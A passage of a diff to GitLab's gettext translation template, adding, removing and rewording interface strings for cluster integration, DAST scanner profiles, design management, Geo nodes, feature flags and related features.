msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
